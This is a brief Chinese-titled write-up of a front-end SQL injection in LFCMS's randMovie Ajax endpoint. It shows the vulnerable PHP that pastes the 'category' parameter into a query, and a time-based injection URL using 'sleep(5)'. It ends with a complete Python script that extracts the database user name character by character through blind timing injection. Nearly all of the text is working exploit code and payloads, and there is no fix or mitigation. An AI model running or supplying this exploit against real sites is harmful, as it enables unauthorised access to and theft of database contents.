LFCMS前台sql注入（二）

public function randMovie($limit=6,$category='') {
if($category) {
$type='and category='.$category;
}
$prefix=C('DB_PREFIX');
$mlist=M()->query('SELECT * FROM `'.$prefix.'movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `'.$prefix.'movie`)-(SELECT MIN(id) FROM `'.$prefix.'movie`))+(SELECT MIN(id) FROM `'.$prefix.'movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx '.$type.' ORDER BY t1.id LIMIT '.$limit);
foreach($mlist as $key=>$value) {
$list[$key]=D('Tag')->movieChange($value,'movie');
}
return $list;
}

SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 ORDER BY t1.id LIMIT 1

http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and sleep(5)

SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 and sleep(5) ORDER BY t1.id LIMIT 1

import requests
url = 'http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and '
s = requests.session()
result = ""
for i in range(1,50):
print('==========================')
for j in range(32,127):
payload = "if((ascii(substr((select user()),{},1))={}),sleep(5),0)".format(i,j)
temp = url+payload
try:
s.get(temp,timeout=5)
except:
result+= chr(j)
print(result)
break